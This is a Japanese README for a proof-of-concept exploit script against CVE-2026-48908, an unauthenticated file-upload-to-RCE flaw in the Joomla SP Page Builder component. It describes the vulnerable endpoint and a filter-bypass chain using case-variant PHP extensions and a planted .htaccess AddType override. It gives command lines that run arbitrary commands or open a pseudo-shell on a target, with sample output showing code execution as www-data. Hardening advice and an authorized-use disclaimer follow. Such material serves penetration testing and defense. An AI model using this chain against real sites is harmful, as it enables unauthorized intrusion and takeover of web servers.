
CVE-2026-48908 用の未認証 RCE PoC — Joomla 用 SP Page Builder (≤ 6.6.1): asset.uploadCustomIcon による任意ファイルアップロード。自己クリーンアップ、トークン保護。認可されたテストのみ。
CVE-2026-48908 の概念実証(PoC)エクスプロイトです。これは、JoomShaper 製の Joomla 向け SP Page Builder コンポーネント(com_sppagebuilder)に存在する、重大な(CVSS 4.0 = 10.0)未認証のリモートコード実行(RCE)脆弱性です。
| CVE | CVE-2026-48908 |
| 弱点 | CWE-284 不適切なアクセス制御 → 未認証の任意ファイルアップロード → RCE |
| コンポーネント | Joomla 向け SP Page Builder(com_sppagebuilder) |
| 影響を受けるバージョン | 1.0.0 – 6.6.1 |
| 修正バージョン | 6.6.2 |
| 必要な権限 | 不要(認証前) |
| ユーザー操作 | 不要 |
SP Page Builder は、カスタムアイコンフォントパッケージのアップロードを処理するコントローラタスク asset.uploadCustomIcon を公開しています:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
影響を受けるバージョンでは、このタスクは認証なしで、かつ有効な CSRF 対策トークンなしで到達可能です。ZIP アーカイブ(multipart フィールド custom_icon)を受け入れ、その内容をドキュメントルート配下のWeb 公開ディレクトリに展開します:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
アップロードは認証前に到達可能で、展開されたファイルは Web ルートに配置されるため、攻撃者は自身が制御するファイルをブラウズ可能な場所に書き込み、HTTP 経由でアクセスできます。
一部のビルドでは、アーカイブ内のエントリに対してサーバー側のファイル名フィルタが追加されています。この PoC は、3 段階のチェーンでその一般的な実装を回避します:
.php、.phtml、.phar、
.php3–.php8、.pht、.inc などを拒否しますが、大文字小文字を正規化しないため、
.PHP(およびその他の大文字小文字混合の亜種)と .htaccess は通過します。<FilesMatch "\.php$">)は小文字の .php のみを実行するため、アップロードされた .PHP は
最初はソーステキストとして配信され、実行されません。.htaccess によるオーバーライド。 ブロックリストも見逃す .htaccess
( を含む)をペイロードと一緒に配置します。
が許可する環境では、これにより が PHP として登録され、アップロードしたシェルが
。PoC は常に有効なアイコンフォント構造(selection.json、style.css、
fonts/<name>.ttf)をパッケージ化してアップロードを受理させ、その後シェルを追加します。
適応型 — PHP 実行可能な拡張子のリスト(まずフットプリントが最小のものから)を試し、次に
.htaccess フォールバックを試し、実際にコードが実行された最初の方法で停止します:
fonts/<shell>.<ext> を
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php のそれぞれに対して実行。.htaccess は使用しません。
SP Page Builder のフィルタはブロックする拡張子のセットが異なり、Apache の設定によって実行される
拡張子も異なります。そのため、この方法はターゲットが許可かつ実行する組み合わせを見つけ出します。fonts/.htaccess + fonts/<shell>.PHP(フォールバック) — 直接の試行がすべて失敗した場合のみ。
配置した .htaccess(AddType … .PHP)により、AllowOverride が許可する環境では大文字の .PHP が
強制的に実行されます(5.4.6 系のホストが必要とする方法です)。最初に実行に成功した方法で停止し、どの方法が成功したかを表示します。受理されたアップロードは
すべて追跡されるため、--cleanup はそのすべてを削除します(複数回の試行により書き込み専用
ディレクトリが残る場合があります)。
バージョンやサーバーの堅牢化設定によって結果は異なり、PoC はそれを明示します (下記の**結果(Outcomes)**を参照):完全な RCE、ファイル書き込みのみ(PHP 無効 /
AllowOverride None)、 パッチ適用済み(管理者のみ)、または脆弱性なし。
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
ターゲットは位置引数または --url で指定できます。スキーム(http:// や https://)の有無は問いません。
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC は常にターゲットに対する最終判定を表示します:
404 を返します。誰でもアクセスできるバックドアではありません。--cleanup は、作成したペイロードディレクトリを削除します。id、算術マーカー)。/media/、/images/、/tmp)では、FPM プールまたは
php_admin_flag engine off を使用して PHP の実行を無効化する。AllowOverride None を設定し、配置された .htaccess によって
ハンドラが再び有効化されないようにする。media/.../iconfont/ 配下の想定外の .php/.PHP、新しい Super User
アカウント、仕込まれたファイルマネージャを確認する。Joomla SP Page Builder エクスプロイト · com_sppagebuilder 未認証 RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon 任意ファイルアップロード · Joomla リモートコード実行 · ペンテストエクスプロイトスクリプト。
このソフトウェアは、教育目的および許可を得たセキュリティテスト専用に公開されています。 たとえば、書面による許可を得て実施するペネトレーションテスト、ターゲットがスコープに含まれる バグバウンティプログラム、CTF 大会、および自身のラボ環境などが対象です。
許可なくコンピュータシステムにアクセス、改変、または妨害することは、ほとんどの法域で違法です。 **あなたは自身の行動に対して単独かつ全面的に責任を負います。**このコードを使用、ダウンロード、 または配布することにより、以下に同意したものとみなされます:
これらの条件に同意できない場合は、このソフトウェアを使用しないでください。一般に公開されている他の エクスプロイト/PoC と同様に、これは防御側が脆弱性を検出・理解・対策できるように善意で共有されて います。それをどう使うかは、あなた自身の責任です。
MIT — LICENSE を参照してください。
AddType application/x-httpd-php .PHPAllowOverride.PHP| Output | Meaning | Exit |
|---|
CODE EXECUTION CONFIRMED via '<method>' | 脆弱性あり — 完全な未認証 RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | ファイル書き込みのみ(AllowOverride None / /media で PHP 無効) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | パッチ適用済み — アップロードに管理者認証が必要 | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | 悪用不可 / コンポーネントが存在しない | 2 |